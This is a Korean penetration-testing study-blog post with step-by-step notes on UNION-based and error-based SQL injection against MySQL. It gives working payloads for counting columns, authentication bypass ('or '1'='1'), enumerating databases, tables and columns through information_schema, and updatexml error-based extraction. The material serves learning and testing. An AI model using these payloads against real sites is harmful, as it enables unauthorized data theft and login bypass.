본문 바로가기

모의해킹 공부/모의해킹 스터디

[0420 Day04] SQL Injection-02

2023.04.14 - [모의해킹 공부/취업스터디] - [0413 Day03] SQL Injection -01

 

[0413 Day03] SQL Injection -01

DB : 많은 사람들이 데이터를 공유하여 사용할 목적으로 체계화해 통합하고 관리하는 데이터 집합!! DB를 쉽게 엑셀로 비유!Database : 엑셀 파일 자체 (test.xlsx)Table : 엑셀 파일 안에 엑셀 시트 (sheet1,

jisu069.tistory.com

SQL Injection : SQL 질의문을 삽입 공격!!

 

SQL Injection을 통해 할 수 있는 것

  • 원하는 데이터를 추출 
  • 인증 우회
  • 데이터 변조

데이터 추출 (select)

- 원하는 select문을 삽입해서 데이터를 추출한다

그래서 어떤 select 문을 실행할지 먼저 생각해야한다!!!!

 

★★ SQL Injection 공격을 할때는 주석 처리를 안쓰는 방향으로!!!!!

DB에 데이터가 많을  경우 뒤에 주석처리하게되면  한번에 많은 데이터를 추출하게 되고

추출하는 데이터가 많을 경우 DB에 문제가 생길수 있다


SQL Injection으로 데이터 추출을 위한 Case

[Case-1]  SQL 질의문이 화면에 보이는 곳

    Ex) 게시판, 회원 정보(마이 페이지), 주소 검색, 검색 페이지 등등..  

 

[Case-2] SQL 질의문이 화면에 안나오는 곳

    EX) 로그인, 아이디 중복체크 ---> 로그인한 아이디와 비밀번호는 사용자에게 알려주지 않는다


[Case-1] SQL 질의문이 화면에 보이는 곳 : 

UNION SQL Injection :

2개 이상의 SELECT문을 union 연산자를 사용해 연결해서 원하는 데이터를 추출하는 공격!!

 

Union SQL Injection을 사용하기위해 지켜야 하는 것

  1. 앞에 있는 select 문과 뒤에 나오는 select문의 컬럼 수가 같아야한다
    1. ex) select id, pw from user union select '1', '2' ;
  2. 앞에 있는 select 문과 뒤에 나오는 select문의 컬럼 타입이 같아야한다
    1. ex) select idx(int), pw(varchar) form user union select 1, '2';

 

UNION SQL Injection을 사용하기위해 공격하려는 컬럼 수를 알아야하는데

공격할 테이블의 컬럼수를 알기 위해 ORDER BY를 사용해서 오류나는 숫자를 확인해야한다!!

※ ORDER BY : 데이터를 정렬하는 쿼리로 select문의 항상 끝에서 사용해야한다!! 

 UNION SQL Injection을 사용하기 전에  공격할 틀(Frame)을 짜고 순서대로 하는게 실수를 줄일 수 있다!!


Union SQL Injection Frame

(어떠한 게시판을 공격한다고 가정)

[1] 공격할 사이트의 SQL 질의문을 추측하기

  • 한 게시판에 [admin]을 검색한다고 했을 때 adm, ad, min 을 검색했을 때 모두  admin이 나왔다
  • 가정 : select [컬럼] from [테이블명] where [name] like '%___%'

[2] 공격할 사이트의 취약점을 확인하기

  • 게시판에 adm%' and '1%' = '1 을 검색했을 때 결과가 나오고  adm%' and '1%' = '2 를 검색했을 때는 결과가 안나올 경우에는 union sql injection을 사용할 수 있다!
  • 가정 :  select [컬럼] from [테이블명] where [name] like '%adm%' and '1%' = '1%'

[3] ORDER BY문을 이용하여 컬럼 개수 파악하기

  • 게시판 입력하는 곳에 adm%' order by 1# 부터 결과가 안나올 때까지 1씩 더해서 입력한다
  • order by문이 가장 뒤에 와야하기 때문에 주석을 이용한다!!
  • 만약 4에서는 결과가 나오는데 5에서 결과가 안나온다면 컬럼은 4개이다!!
  • 가정 : select [컬럼] from [테이블명] where [name] like '%adm%' order by 1#%'

[4] Data가 출력되는 위치를 파악하기

  • 컬럼의 개수가 4개여도 실제 사이트에는 2개만 입력될 수 있고 위치가 다를 수 있기 때문에 출력 위치를 파악해야한다
  • 가정 : select [컬럼] from [테이블명] where [name] like '%adm%' union select '1', '2', '3', '4%'

[5] Database 이름 확인 하기 -> 원하는 테이블 이름과, 컬럼 이름을 알아내기 위해 

  • database() : 현재 데이터 베이스 이름을 알려주는 mysql 함수
  • database() 함수를 이용하여 공격하려는 사이트의 데이터 베이스 이름을 확인한다
  • 가정 :  select [컬럼] from [테이블명] where [name] like '%adm' union select '1', database(), '3', '4%'

[6] Table 이름 확인 하기 ->  SQL 질의문을 통해 원하는 데이터들을 얻기 위해

  • information_schema : DB의 메타 정보(테이블, 컬럼, 인덱스 등)를 모아놓은 MYSQL DB
  • information_schema.tables를 이용하여 테이블의 이름들을 확인한다
  • 가정 select [컬럼] from [테이블명] where [name] like '%adm' union select '1', table_name, '3', '4' from information_schema.tables where table_schema = '[DB명]' and '1%'=1%'

[7] 해당 테이블의 컬럼명 확인하기 -> 위와 같이  SQL 질의문을 통해 원하는 데이터를 얻기 위해

  • information_schema.columns를 이용하여 컬럼의 이름들을 확인한다
  • 가정 select [컬럼] from [테이블명] where [name] like '%adm' union select '1', column_name, '3', '4' from information_schema.columns where table_name = '[Table명]' and '1%'=1%'

[8] 원하는 DATA 추출

  • 위에 얻은 정보들을 이용하여 데이터를 추출한다!!!
  • 가정 select [컬럼] from [테이블명] where [name] like '%adm' union select [컬럼명1], [컬럼명2], [컬럼명3], [컬럼명4] from [table 명] and '1%' =1%'

[Case-2] SQL 질의문이 화면에 안나오는 곳:

Error Based SQL Injection

: 에러 기반 SQL Injection으로 SQL 논리 에러를 통해 원하는 정보/데이터를 얻는 공격!!

 

DB 종류마다 Error Based Injection Function이 다르기 때문에 DB를 파악하고 인터넷에 검색해본다!!

- 에러에는 2가지 문법 에러와  논리 에러가 있다

  • 문법 에러 : 문법 자체가 틀려서 나오는 에러 -> 문법 에러를 통해 DB의 종류를 알아낸다!
  • 논리 에러 : DB의 논리적인으로 문제가 생겨서 나오는 에러 -> 우리는 논리 에러를 사용해서 원하는 데이터를 얻는다. 
    • 논리 에러를 사용하기 위해서는 꼭 문법은 맞아야한다!!

Error Based SQL Injection Frame

(어떠한 로그인 페이지를 공격한다고 가정)

 

[1] 공격할 사이트의  SQL 질의문을 추측한다

  • 공격자가 만든 아이디를 통해 로그인 할때 식별과 인증이 동시에 이뤄지는지 확인한다
  • 로그인 가정 : ID : test , PW 1234 -> test' or '1' ='1 을 통해 확인
  • 가정 : select [컬럼] from [테이블명] where [id] = '___'

[2] DB에러가 나는 지 확인한다

  • Database에서 문법 에러를 내서 에러가 화면에 출력되는 지 확인한다
  • -> tes' , tes sada 
  • 가정1 : select [컬럼] from [테이블명] where [id] = 'tes''
  • 가정2 : select [컬럼] from [테이블명] where [id] = 'tes sada'
  • 공백이 있을 경우 오류 발생!

[3] Error Based SQL Injection Function을 이용해서 논리 오류를 발생시킨다

  • updatexml(xml_target, xpath_expr, new_xml)
    • 함수는 타겟의 xpath 표현식과 일치하는 부분이 있다면 new_xml로 업데이트하는 함수
  • SQL에서는 updatexml을 통해 논리 에러를 발생시킨다
  • 사용 예시 1' and updatexml(null, concat(0x3a, (select 'test')), null) and '1' = '1
  • 가정 :  select [컬럼] from [테이블명] where [id] = '1' and updatexml(null, concat(0x3a, (select 'test')), null) and '1' = '1'

[4] Database 이름 확인 하기 -> 원하는 테이블 이름과, 컬럼 이름을 알아내기 위해

  • updatexml 함수를 이용해서 xpath_expr 부분에 원하는 질의문을 삽입한다
  • 질의문이 길어지므로 안전하게 천천히 한단계씩 진행한다
  • 가정1 : select [컬럼] from [테이블명] where [id] = '1' and updatexml(null, concat(0x3a, (select 'test')), null) and '1' = '1'
  • 가정2 : select [컬럼] from [테이블명] where [id] = '1' and updatexml(null, concat(0x3a, (select database())), null) and '1' = '1'

[5] Table 이름 확인 하기 -> SQL 질의문을 통해 원하는 데이터들을 얻기 위해

  • limit : SQL문의 개수를 제한  -> limit [어디에서 시작할지], [몇개까지 제한걸지]
  • limit의 첫번째 인자를 하나씩 증가하면서 원하는 테이블 이름을 확인한
  • 가정 : select [컬럼] from [테이블명] where [id] = '1' and updatexml(null, concat(0x3a, (select  table_name from information_schema.tables where table_schema = '[DB명]' limit 0,1)), null) and '1' = '1'

[6] 해당 테이블의 컬럼명 확인하기 ->  SQL 질의문을 통해 원하는 데이터들을 얻기 위해

  • 가정  : select [컬럼] from [테이블명] where [id] = '1' and updatexml(null, concat(0x3a, (select  column_name from information_schema.columns where table_name = '[Table 명]' limit 0,1)), null) and '1' = '1'

[7] 원하는 데이터 추출 하기

  • 가정 : select [컬럼] from [테이블명] where [id] = '1' and updatexml(null, concat(0x3a, (select  [컬럼명] from [t테이블 명] limit 0,1)), null) and '1' = '1'

SQL Injection을 사용하기 위해서는 꼭 먼저 어떤 데이터를 어떻게 얻을 것인지 명확하게 생각하고 

공격할 사이트의 SQL 구문을 생각하고 사용해야한다는 것을 알게 되었고

주석쓰는게 편한다고 주석을 마음대로 사용하기 보다는 최대한 사용을 피해야겠다고 느꼈다